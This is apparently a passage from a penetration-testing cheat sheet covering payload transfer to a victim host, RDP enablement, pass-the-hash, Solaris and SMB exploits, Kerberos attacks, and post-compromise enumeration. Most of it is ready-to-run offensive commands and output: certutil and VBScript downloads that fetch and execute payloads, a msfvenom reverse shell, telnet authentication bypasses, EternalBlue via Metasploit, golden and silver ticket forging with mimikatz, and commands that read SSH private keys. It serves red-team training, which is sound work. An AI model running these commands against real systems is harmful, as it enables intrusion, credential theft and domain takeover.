                    X-XSS-Protection: 0
                    Alt-Svc: quic=":443"; ma=2592000; v="46,43",h3-Q050=":443"; ma=2592000,h3-Q049=":443";
                    ma=2592000,h3-Q048=...
Forms             : {}
Headers           : {[Vary, Accept-Encoding], [X-Content-Type-Options, nosniff], [X-XSS-Protection, 0], [Alt-Svc,
                    quic=":443"; ma=2592000; v="46,43",h3-Q050=":443"; ma=2592000,h3-Q049=":443";
                    ma=2592000,h3-Q048=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443";
                    ma=2592000,h3-T050=":443"; ma=2592000]...}
Images            : {}
InputFields       : {}
Links             : {}
ParsedHtml        : mshtml.HTMLDocumentClass
RawContentLength  : 7004

```

View just content:

```
Invoke-WebRequest 'http://google.com/robots.txt' | Select-Object -Expand Content
```

### PS iwr

alias to Invoke-WebRequest

`iwr google.com/robots.txt`

### bitsadmin

Use bitsadmin to download via the command line on older version of windows (works from CMD.exe)

usage:

`cmd.exe /c bitsadmin /transfer {JOB NAME} /download /priority normal {LINK} {DOWNLOAD LOCATION}`

example:

```
bitsadmin /transfer debjob /download /priority normal http://cdimage.debian.org/debian-cd/current-live/i386/iso-hybrid/debian-live-8.7.1-i386-xfce-desktop.iso D:\Users\[Username]\Downloads\debian-live-8.7.1-i386-xfce-desktop.iso
```

credit: <https://gist.github.com/rosswd/cad64650ca1b03bd1789a69edbeb586c>

### PS WebClient

```
(new-object System.Net.WebClient).DownloadFile('http://www.xyz.net/file.txt','C:\tmp\file.txt')
```

### Certutil

You can download the file directly:

```csharp
certutil.exe -urlcache -f http://192.168.0.1/file.exe file.exe
```

Or you can encode the file in base64 and then use `certutil` to decode it.

```
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
```

### FTP

On a linux host start a FTP:

```
apt-get install python3-pyftpdlib  
python3 -m pyftpdlib -p 21 -w
```

Or use metasploit:

```
msf > use auxiliary/server/ftp
```

Write to the file the commands on the victim:

```
echo open 192.168.1.101 21> ftp.txt
echo USER N7WERA>> ftp.txt
echo NEWERA_PASSWORD>> ftp.txt
echo bin>> ftp.txt
echo GET winpease.exe>> ftp.txt
echo bye>> ftp.txt
```

run from cmd or powershell:

`ftp -s ftp.txt`

### SMB Server

Start smb server on Kali (or any linux) using impacket:

```
root@kali# smbserver.py -smb2support {SHARE NAME} {FOLDER TO SHARE} -username newera -password newera
```

From the victim:

```
C:\>net use \\10.11.0.XXX\smb /user:<username> <password>
The command completed successfully. 
```

Copy files:&#x20;

```
C:\WINDOWS\Temp>copy \\10.11.0.XXX\smb\ms11-046.exe \windows\temp\a.exe 
copy \\10.11.0.XXX\smb\ms11-046.exe \windows\temp\a.exe 
        1 file(s) copied.
```

### &#x20;TFTP Server

Start TFTP on Kali:

```
service atftpd start
atftpd --daemon --port 69 /tftp
```

Download files from the victim:

```
tftp -i 192.168.0.1 GET winpeas.txt
```

### VBScript <a href="#vbscript" id="vbscript"></a>

Here is a good script to make a wget-clone in VB.

If it doesn't work try piping it through unix2dos before copying it.

```
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```

You then execute the script like this:

```
cscript wget.vbs http://192.168.10.5/evil.exe evil.exe
```

### NC.exe

You can download a standalone compiled version of NC (Netcat) for windows from the nmap project (<https://svn.nmap.org/nmap/ncat/>), or use the kali compiled version, located in:

`/usr/share/windows-binaries/nc.exe`

If you're able to move the ncat to the victim you can use the normal nc functions to transfer more files (or gain a shell..)

On the attacker host:

```
nc 192.168.0.10 4444 < file.exe
```

On the victim:

```
ncat.exe -lvp 4444 > file.exe
```

## Linux

### scp

A built in SSH utility to trasfer files. once you gained access to the victim you can add a your pulic key to `.ssh/authorized_keys` or use credentials if found

Using public/private key - once a public key was copied to the victim .ssh folder, you can transfer files from the attacker to the victim by running:

`scp file.exe -i id_rsa user@victim:/tmp/`

The file will be transferred to the `/tmp` folder.

If you gained crednetials remove the `-i id_rsa` and login with the same command as above.

### wget&#x20;

wget is used to download files to the victim, run a web sever on the attacker by running:

```
python3 -m http.server
```

and download from the victim:

```
wget 192.168.0.1:8080/linenum.sh
```

### curl&#x20;

Curl is used to view web server source code, we can download files by running

```
 curl https://url -o output.file.name
```

### ftp

linux has a build in ftp utility, first created a listerner on the attacker host:

```
apt-get install python-pyftpdlib  
python -m pyftpdlib -p 21 -w
```

Or use metasploit:

```
msf > use auxiliary/server/ftp
```

and then connect from the victim using

```
ftp 192.168.0.1
```

### nc

A lot of unix systems have a build in nc utility which can be used to transfer files, same way as in windows.

You can download a compiled version of nc to unix from:

<https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat>


# Remote Desktop

How to use RDP (Remote desktop protocol) to gain access to a host, rdp runs on port 3389 by default in windows.

A user need to be part of the "Remote Desktop Users" in order to login to the host via RDP.

To add user to the "Remote Desktop users" run:

```
net localgroup "Remote Desktop Users" UserLoginName  /add
```

## rdesktop

Remote Desktop for windows with share and 85% screen:&#x20;

`rdesktop -u username -p password -g 85% -r disk:share=/tmp/share 10.10.10.10`&#x20;

## xfreerdp

**Login using hash:**

`Xfreerdp /u:admin /d:win2012 /pth:[hash] /v:192.168.0.1`&#x20;

When CredSSP is required:&#x20;

`xfreerdp --plugin rdpdr --data disk:home:/tmp -- -f -u john 192.168.0.44`&#x20;

* To exit press 'ctrl+alt+enter'&#x20;

## remmina&#x20;

install remmina:

`apt install remmina`

have a rdp client by default which you can use to connect.

## Enable RDP

### Enable rdp from registry

```
reg add "\\host\HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

### Enable from netsh

```
netsh firewall set service remoteadmin enable 
netsh firewall set service remotedesktop enable
```

### Enable using psexec

```
psexec \\host reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 
/usr/local/bin/psexec.py user:password@10.0.0.1 reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

```

## Enable using metasploit

```
use post/windows/manage/enable_rdp
msf5 post(windows/manage/enable_rdp) > run

[*] Enabling Remote Desktop
[*] 	RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*] 	The Terminal Services service is not set to auto, changing it to auto ...
[+] 	RDP Service Started
[*] 	Opening port in local firewall if necessary
[*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20200520112125_default_10.50.30.103_host.windows.cle_789147.txt
[*] Post module execution completed
msf5 post(windows/manage/enable_rdp) > 

```


# NAC Bypass

Bypassing annoying network access controls

## Captive Portal

Certain NAC systems leverage a captive portal authentication system to validate a user's identify before granting access to the rest of the network.

### No SSL

If the captive portal doesn't have TLS protection we can consider MiTM attacks on other users.

## Tools

### silentbridge

<https://github.com/s0lst1c3/silentbridge>

Silentbridge is a toolkit for bypassing 802.1x-2010 and 802.1x-2004.


# Pass-The-Hash

Pass the hash is a hacking technique that allows an attacker to authenticate to a remote server or service by using the underlying NTLM or LanMan hash of a user's password.

It replaces the need for stealing the plaintext password with merely stealing the hash and using that to authenticate with.

## pth-winexec

Part of the pth-toolkit (<https://github.com/byt3bl33d3r/pth-toolkit>), buildin in kali

Example:

```
pth-winexe --user=pc.local/Administrator%aad3b435b51404eeaad3b435b514t234e:1321ae011e02ab0k26e4edc5012deac8 //10.1.1.1 cmd
```

## Mimikatz

Pass-the-hash using mimikatz:

`Invoke-Mimikatz -Command '"sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:command"`

After running this command a new cmd shell will be opened with the new logon session (can be seen by running `klist`), we can interact with the new shell by running:

`Invoke-Command -ComputerName dc.eth.lab -ScriptBlock{whoami}`

It replaces the need for stealing the plaintext password with merely stealing the hash and using that to authenticate with.

## Crackmapexec

`cme smb 192.168.0.1/24 -u Admin -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949`

## psexec

part of Microsoft’s Sysinternals tools for windows or a standalone script in kali

`psexec.py active.htb/administrator@10.10.10.100`

## gsecdump

Gsecdump has no DLL dependency making it very easy to use on remote systems with psexec. If it for some reason can't do what it is supposed to, try running it as SYSTEM and you should get your info.&#x20;

Example:&#x20;

`C:\Documents and Settings\nobody\Desktop>gsecdump -u MSHOME\XPSP1VM$::aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::`&#x20;

## Impacket

```
root@kali:/opt/impacket# wmiexec.py -hashes :f6b7160bfc91823792e0ac3a162c9267 administrator@10.10.10.103 
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation 

[*] SMBv3.0 dialect used 
[!] Launching semi-interactive shell - Careful what you execute 
[!] Press help for extra shell commands 
C:\>whoami 
htb\administrator 
```


# Exploitation


# Solaris

Information gathering and exploitation

## Enumeration

**View patches**&#x20;

`showrev -p`&#x20;

**Installed packages:**&#x20;

`Pkginfo  OR pkginfo -x`

**Host information**

`uname -a`

**Show IP interface:**&#x20;

`Ifconfig -a`&#x20;

**Process list:**&#x20;

`/usr/ucb/ps -auxww`&#x20;

### Patch check analyser

<http://www.par.univie.ac.at/solaris/pca/>

Patch Check Advanced (PCA) generates lists of installed and missing patches for Oracle Solaris systems and optionally downloads patches. It resolves dependencies between patches and installs them in correct order. It can be the only tool you ever need for patch management, be it on a single machine or a complete network. Just one perl script, it doesn't need compilation nor installation, and it doesn't need root permissions to run. It works on all versions of Solaris, both SPARC and x86.

#### Usage:

`./pca.pl –f . –l missings`

will produce a list of missing patches, the following is an example. Note the ‘.’ Represents the current directory so ensure that the three files are in the same directory.

## Common Solaris Vulnerabilities

### Solaris 7

* sadmind\_exec SADMIND - weakness in default security settings - allows root - rootdown.pl&#x20;
* \*\*ttyprompt TELNET - buffer overflow in solaris login - manual through telnet client&#x20;
* sendmail\_exec LPD - line printer daemon buffer overflow - allows root&#x20;
* heap\_noir DTSPCD - CDE common desktop environment heap overflow TCP port 6112, runs with root&#x20;
* ypupdated\_exec YPUPDATED - weakness in handling of the command shell - allows root&#x20;
* kcms\_readfile kcms / ttdbserverd remote file read (only in msf2)

### Solaris 8

* sadmind\_exec SADMIND - weakness in default security settings - allows root - rootdown.pl&#x20;
* \*\*ttyprompt TELNET - buffer overflow in solaris login - manual through telnet client&#x20;
* sendmail\_exec LPD - line printer daemon buffer overflow - allows root&#x20;
* heap\_noir DTSPCD - CDE common desktop environment heap overflow TCP port 6112, runs with root&#x20;
* ypupdated\_exec YPUPDATED - weakness in handling of the command shell - allows root.&#x20;
* no exploit - sadmind\_adm\_build\_path SADMIND - stack buffer overflow in adm\_build\_path() function.&#x20;
* kcms\_readfile kcms / ttdbserverd remote file read (only in msf2)

### solaris 9:

* sadmind\_exec SADMIND - weakness in default security settings - allows root - rootdown.pl&#x20;
* ypupdated\_exec YPUPDATED - weakness in handling of the command shell - allows root.&#x20;
* sadmind\_adm\_build\_path SADMIND - stack buffer overflow in adm\_build\_path() function.&#x20;
* kcms\_readfile kcms / ttdbserverd remote file read (only in msf2)

### Solaris 10

* fuser TELNET - authentication bypass through -f command - can be manually exploited&#x20;
* ypupdated\_exec YPUPDATED - weakness in handling of the command shell - allows root.

### Solaris 11

* fuser TELNET - authentication bypass through -f command - can be manually exploited

## **Exploits**

### **Solaris 8 finger**

`finger '1 2 3 4 5 6 7 8 9 0'@target`

### **Solaris exploits**

<https://github.com/0xdea/exploits&#x20>;

#### raptor\_passwd

```
$ gcc raptor_passwd.c -o passwd -ldl -Wall
$./raptor_passwd p@ssw0rd
raptor_passwd.c - passwd circ() local, Solaris/SPARC 8/9
Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
Using SI_PLATFORM : SUNW,UltraAX-i2 (5.9)
Using stack base : 0xffbffffc
Using var address : 0xffbffb58
Using rwx_mem address : 0xff3f6004
Using sc address : 0xffbfff9c
Using ff address : 0xffbfff58
Using strcpy() address : 0xff3e0288
"Pai Mei taught you the five point palm exploding heart technique?" -- Bill
"Of course." -- Beatrix Kidd0, alias Black Mamba, alias The Bride (KB Vol2)
# id;uname -a;uptime;
uid=0(root) gid=9610(gengrp) egid=3(sys)
SunOS wks1 5.9 Generic sun4u sparc SUNW,UltraAX-i2
1:53pm up 1 day(s), 16:32, 1 user, load average: 0.00, 0.00, 0.01
#
```

### **Msfvenom payload**&#x20;

`msfvenom -p solaris/x86/shell_reverse_tcp lhost=10.10.14.6 lport=5555 -f elf > /root/Desktop/raj.elf`

### &#x20;TTYPROMPT exploit

Solaris TTYPROMPT Security Vulnerability (Telnet)&#x20;

This vulnerability is very simple to exploit, since it does not require any code to be compiled by an attacker. The vulnerability only requires the attacker to simply define the environment variable TTYPROMPT to a 6-character string, inside telnet. Jonathan believes this overflows an integer inside login, which specifies whether the user has been authenticated (just a guess).&#x20;

Once connected to the remote host, you must type the username, followed by 64 " c"s, and a literal "\n". You will then be logged in as the user without any password authentication. This should work with any account except root (unless remote root login is allowed). &#x20;

**Example**:

```
coma% telnet  
telnet> environ define TTYPROMPT abcdef  
telnet> o localhost  
SunOS 5.8  
bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n  
Last login: whenever  
$ whoami bin  
```

**Metasploit:**

&#x20;Solaris in.telnetd TTYPROMPT Buffer Overflow

```
msf > use exploit/solaris/telnet/ttyprompt
```

### **Telnet exploit (fuser)**

exploits the argument injection vulnerability in the telnet daemon (in.telnetd) of Solaris 10 and 11. &#x20;

**Command line:**&#x20;

```
telnet -l "-fbin" target_address 
Or also 
telnet -l "-froot" 192.168.0.1 
```

**Metasploit:**&#x20;

msf > use exploit/solaris/telnet/fuser&#x20;


# IPv6

## THC-IPV6

IPv6 attack toolkit

Link: [GitHub - vanhauser-thc/thc-ipv6: IPv6 attack toolkit](https://github.com/vanhauser-thc/thc-ipv6)&#x20;

Install: &#x20;

`apt install thc-ipv6`&#x20;

## mitm6

pwning IPv4 via IPv6

&#x20;mitm6 is a pentesting tool that exploits the default configuration of Windows to take over the default DNS server. It does this by replying to DHCPv6 messages, providing victims with a link-local IPv6 address and setting the attackers host as default DNS server. As DNS server, mitm6 will selectively reply to DNS queries of the attackers choosing and redirect the victims traffic to the attacker machine instead of the legitimate server. For a full explanation of the attack, see our [blog about mitm6](https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/). Mitm6 is designed to work together with [ntlmrelayx from impacket](https://github.com/CoreSecurity/impacket) for WPAD spoofing and credential relaying.

Link: <https://github.com/fox-it/mitm6>


# Windows

Different ways to exploits windows machines


# Compiling Code

Compiling a C code for exploitation, such as adding users

**Cross Compiling Exploits:**&#x20;

`gcc -m32 -o output32 hello.c (32 bit)`&#x20;

`gcc -m64 -o output hello.c (64 bit)`&#x20;


# SMB Vulnerabilities

Common smb vulns

## MS08-067&#x20;

CVE-2008-4250&#x20;

Metasploit:&#x20;

```
msf > search ms08_067 
msf > use exploit/windows/smb/ms08_067_netapi 
msf  exploit(ms08_067_netapi) > set RHOST 192.168.229.137 
msf  exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp 
msf  exploit(ms08_067_netapi) > exploit 
```

## MS09-050&#x20;

CVE-2009-2526&#x20;

Metasploit:&#x20;

```
msf > search MS09_050 
msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index  
msf exploit(ms09_050_smb2_negotiate_func_index) > options 
msf exploit(ms09_050_smb2_negotiate_func_index) > set payload windows/meterpreter/reverse_tcp 
msf exploit(ms09_050_smb2_negotiate_func_index) > set rhost 110.196.193.102 
msf exploit(ms09_050_smb2_negotiate_func_index) > run 
```

Exploits:&#x20;

<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS09-050>&#x20;

## MS17-010&#x20;

CVE-2017-0143&#x20;

Metasploit:&#x20;

```
msf > use exploit/windows/smb/ms17_010_eternalblue 
msf exploit(ms17_010_eternalblue) > set rhost 10.10.1.13 
msf exploit(ms17_010_eternalblue) > run 
```


# Kerberos Attacks

## Relationships and Attack paths

We can use [bloodhound ](/infrastructure-testing/tools/bloodhound)to find hidden relationships and attack paths in an Active Directory environment.

From the data collect we can escalate our privilege to the target, or use tools like [aclpwn](/infrastructure-testing/tools/bloodhound/aclpwn).

## Kerberoasting

The [AD Powershell ](https://github.com/samratashok/ADModule)module can be used to search for users with SPN

| `Import-Module .\Microsoft.ActiveDirectory.Management.dll -Verbose`  `Get-ADUser -LdapFilter "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"` `\| Format-Table Name, DistinguishedNam` |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

Using Nmap:&#x20;

`nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test'`&#x20;

Using Rubeus to gain hashes:&#x20;

`Rubeus.exe kerberoast /outfile:hashes.txt`&#x20;

&#x20;Use the hashcat -m 13100 (Kerberos 5 TGS-REP etype 23) to crack: &#x20;

`hashcat -a 0` `-m 13100` `SPN.hash /wordlists/rockyou.txt`

Using impacket:

```
python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>
```

<https://newerasec.com/kerberoasting/>

## AS-RES

Find users with pre-auth enabled using the [AD Powershell ](https://github.com/samratashok/ADModule)module :

```
Import-Module .\Microsoft.ActiveDirectory.Management.dll -Verbose

Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name
```

To exploit run:

```
.\Rubeus.exe asreproast
```

Impacket:

```
# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
```

<https://newerasec.com/as-roast/>

## Golden Ticket

Once you gained the krbtgt hash (from dcsync or DC compromise)T

The Mimikatz kerberos::golden module handles Golden Tickets

We need the following parameters: &#x20;

* /domain - name of the domain
* /sid - the sid of the domain (can be obtain from 'whoami /user' , remember to remove the RID)
* /rc4 - the NTLM hash of krbtgt
* /user - the user you want to create the new TGT ticket for
* /id - the RIF of that user you looking to create ticket for
* /ptt - (Optional) inject the new ticket into the current session, if not applied the ticket will be saved to a file

```
mimikatz # kerberos::golden /domain:eth.lab /sid:S-1-5-21-98033113-2199257571-2188946577 /rc4:88a4507aae31297a2df7921b1430d781 /user:Administrator /id:500  /ptt
User      : Administrator
Domain    : eth.lab (ETH)
SID       : S-1-5-21-98033113-2199257571-2188946577
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: 88a4507aae31297a2df7921b1430d781 - rc4_hmac_nt
Lifetime  : 06/04/2020 14:05:45 ; 04/04/2030 14:05:45 ; 04/04/2030 14:05:45
-> Ticket : ** Pass The Ticket **
 
 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated
 
Golden ticket for 'Administrator @ eth.lab' successfully submitted for current session 
```

## Silver Ticket

use the 'kerberos::golden' module to forge TGS, we will need to pass the following parameters:

* /domain: The FDQN
* /sid: The SID (Security Identifier) of the Domain (whoami /user)
* /user: Target Account/Computer to Impersonate
* /id: RID of the account you will be impersonating
* /ptt: Optional ( will automatically inject the ticket into the current session)
* /rc4: NTLM Hash of User Password/Computer Password
* /service: the service we want to access

**Example:**

```
mimikatz # kerberos::golden /sid:S-1-5-21-98033113-2199257571-2188946577-500 /domain:eth.lab /ptt /id:500 /target:WIN-EU4DLP9KRRC.eth.lab /service:cifs /rc4:0c0d4252608be9131c2826a6feaf94b8 /user:Administrator
User      : Administrator
Domain    : eth.lab (ETH)
SID       : S-1-5-21-98033113-2199257571-2188946577-500
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: 0c0d4252608be9131c2826a6feaf94b8 - rc4_hmac_nt
Service   : cifs
Target    : WIN-EU4DLP9KRRC.eth.lab
Lifetime  : 03/04/2020 17:00:01 ; 01/04/2030 17:00:01 ; 01/04/2030 17:00:01
-> Ticket : ** Pass The Ticket **
 
 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated
 
Golden ticket for 'Administrator @ eth.lab' successfully submitted for current session
```


# Privilege Escalation

Good workshop to learn privilege esclation: <https://github.com/sagishahar/lpeworkshop>


# Situational Awareness

A common step in the life-cycle of a red team engagement is to gather as much information is possible for the compromised environments.

A common step in the life-cycle of a red team engagement is to gather as much information is possible for the compromised environments and the domain network. This activity is often called situational awareness and there is no defined list of commands that a red teamer should execute. However all the gathered information in that stage will determine the next actions towards privilege escalation and lateral movement and will assist to map the domain.

Resources:

* <https://pentestlab.blog/2018/05/28/situational-awareness/>
* <https://obscuritylabs.github.io/operator-up/windows/remote_sa_cmds/>


# Linux

The first step when landing on host should be understanding who your against to - what OS, what process are running,  what users exists and more, this can be done by looking at the following files (remember - in Linux everything is a file):

### **Distribution type:**&#x20;

`cat /etc/*-release`&#x20;

### Kernel version:&#x20;

`cat /proc/version` \
`uname -a`&#x20;

### view if you can run anything as sudo: (check for GTFObins)&#x20;

`Sudo -l`&#x20;

### Check common files:&#x20;

```
cat /etc/profile 
cat /etc/bashrc 
cat ~/.bash_history 
cat ~/.bashrc 
cat ~/.bash_logout
```

### What services running (filter by root):&#x20;

`ps aux`&#x20;

`ps -ef`&#x20;

`top`&#x20;

### Check configuration files:&#x20;

```
cat /etc/syslog.conf 
cat /etc/chttp.conf 
cat /etc/lighttpd.conf 
cat /etc/cups/cupsd.conf 
cat /etc/inetd.conf 
cat /etc/apache2/apache2.conf 
cat /etc/my.conf 
cat /etc/httpd/conf/httpd.conf 
cat /opt/lampp/etc/httpd.conf
```

### &#x20;Check local ports and what listens:&#x20;

`netstat -antup`&#x20;

### View list of users:&#x20;

`cat /etc/passwd | cut -d: -f1` &#x20;

### Search for ssh keys:&#x20;

```
cat ~/.ssh/authorized_keys 
cat ~/.ssh/identity.pub 
cat ~/.ssh/identity 
cat ~/.ssh/id_rsa.pub 
cat ~/.ssh/id_rsa 
cat ~/.ssh/id_dsa.pub 
cat ~/.ssh/id_dsa 
cat /etc/ssh/ssh_config 
cat /etc/ssh/sshd_config 
cat /etc/ssh/ssh_host_dsa_key.pub 
cat /etc/ssh/ssh_host_dsa_key 
cat /etc/ssh/ssh_host_rsa_key.pub 
cat /etc/ssh/ssh_host_rsa_key 
cat /etc/ssh/ssh_host_key.pub 
cat /etc/ssh/ssh_host_key 
```

### View crontabs

```
crontab -e root 
crontab -l 
ls -alh /var/spool/cron 
ls -al /etc/ | grep cron 
ls -al /etc/cron* 
cat /etc/cron* 
cat /etc/at.allow 
cat /etc/at.deny 
cat /etc/cron.allow 
cat /etc/cron.deny 
cat /etc/crontab 
cat /etc/anacrontab 
cat /var/spool/cron/crontabs/root 
```

### Web servers files

```
ls -alhR /var/www/ 
ls -alhR /srv/www/htdocs/ 
ls -alhR /usr/local/www/apache22/data/ 
ls -alhR /opt/lampp/htdocs/ 
ls -alhR /var/www/html/ 
```


# Windows

| Domain                                    | Comment                          |
| ----------------------------------------- | -------------------------------- |
| net view                                  | list computers on domain         |
| net view \\\\\<target name>               | list shares on host              |
| net view /domain                          | list domains                     |
| net view /domain:\<domain name>           | list computers on a named domain |
| net users \<username> \<password> /add    | add user                         |
| net localgroup Administrators \<username> | add to administrators group      |
| nltest /dclist:\<domain name>             | Domain Controllers list          |

### **User details:**&#x20;

`Whoami`&#x20;

`hostname`&#x20;

`Echo %username%`&#x20;

`Net users`&#x20;

`Net user USERNAME`&#x20;

### **Get Windows User and Domain Information**&#x20;

`set`&#x20;

`whoami /all`&#x20;

`Get-ADTrust`

### **Information on current domain:**

Domain information:

`[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()`

Domain Trusts:

`([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()`

Current forest info:

`[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()`

Trust relationship:

`([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()`

**Get current privileges:**&#x20;

`whoami /priv`&#x20;

**Show routes:**&#x20;

`route print`&#x20;

**Enumerate local administrators**&#x20;

`net localgroup administrators`&#x20;

**Check for missing patches:**&#x20;

`wmic qfe get Caption,Description, HotFixID,InstalledOn`&#x20;

**get DCs of a domain**&#x20;

`net group "domain controllers" /domain`&#x20;

**Launch a cmd prompt as another user:**&#x20;

`runas /netonly /user:[Domain]\[username] cmd.exe`&#x20;

**Get windows version:**&#x20;

`ver`&#x20;

**Systeminfo:**&#x20;

`systeminfofindstr/B /C:"OS Name" /C:"OS Version`&#x20;

**View password policy:**&#x20;

`net accounts`&#x20;

On DC:

`Get-ADDefaultDomainPasswordPolicy`&#x20;

**List Drives:**

`gdr -PSProvider 'FileSystem'`

Or

`[System.IO.DriveInfo]::GetDrives() | Format-Table`


# Registry

### Read Registry values

**Powershell**:&#x20;

`Get-ItemProperty -Path Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion`&#x20;

&#x20;Or

`cd HKCU:` or `cd HKLM:`\
**CMD**:&#x20;

`REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows\`&#x20;


# PowerView

PowerView is a PowerShell tool to gain network situational awareness on Windows domains.

PowerView is a PowerShell tool to gain network situational awareness on Windows domains. It contains a set of pure-PowerShell replacements for various windows "net \*" commands, which utilize PowerShell AD hooks and underlying Win32 API functions to perform useful Windows domain functionality.

It also implements various useful metafunctions, including some custom-written user-hunting functions which will identify where on the network specific users are logged into. It can also check which machines on the domain the current user has local administrator access on. Several functions for the enumeration and abuse of domain trusts also exist. See function descriptions for appropriate usage and available options. For detailed output of underlying functionality, pass the -Verbose or -Debug flags.

For functions that enumerate multiple machines, pass the -Verbose flag to get a progress status as each host is enumerated. Most of the "meta" functions accept an array of hosts from the pipeline.

#### Misc Functions:

```
Export-PowerViewCSV             -   thread-safe CSV append
Resolve-IPAddress               -   resolves a hostname to an IP
ConvertTo-SID                   -   converts a given user/group name to a security identifier (SID)
Convert-ADName                  -   converts object names between a variety of formats
ConvertFrom-UACValue            -   converts a UAC int value to human readable form
Add-RemoteConnection            -   pseudo "mounts" a connection to a remote path using the specified credential object
Remove-RemoteConnection         -   destroys a connection created by New-RemoteConnection
Invoke-UserImpersonation        -   creates a new "runas /netonly" type logon and impersonates the token
Invoke-RevertToSelf             -   reverts any token impersonation
Get-DomainSPNTicket             -   request the kerberos ticket for a specified service principal name (SPN)
Invoke-Kerberoast               -   requests service tickets for kerberoast-able accounts and returns extracted ticket hashes
Get-PathAcl                     -   get the ACLs for a local/remote file path with optional group recursion
```

#### Domain/LDAP Functions:

```
Get-DomainDNSZone               -   enumerates the Active Directory DNS zones for a given domain
Get-DomainDNSRecord             -   enumerates the Active Directory DNS records for a given zone
Get-Domain                      -   returns the domain object for the current (or specified) domain
Get-DomainController            -   return the domain controllers for the current (or specified) domain
Get-Forest                      -   returns the forest object for the current (or specified) forest
Get-ForestDomain                -   return all domains for the current (or specified) forest
Get-ForestGlobalCatalog         -   return all global catalogs for the current (or specified) forest
Find-DomainObjectPropertyOutlier-   inds user/group/computer objects in AD that have 'outlier' properties set
Get-DomainUser                  -   return all users or specific user objects in AD
New-DomainUser                  -   creates a new domain user (assuming appropriate permissions) and returns the user object
Set-DomainUserPassword          -   sets the password for a given user identity and returns the user object
Get-DomainUserEvent             -   enumerates account logon events (ID 4624) and Logon with explicit credential events
Get-DomainComputer              -   returns all computers or specific computer objects in AD
Get-DomainObject                -   returns all (or specified) domain objects in AD
Set-DomainObject                -   modifies a gven property for a specified active directory object
Get-DomainObjectAcl             -   returns the ACLs associated with a specific active directory object
Add-DomainObjectAcl             -   adds an ACL for a specific active directory object
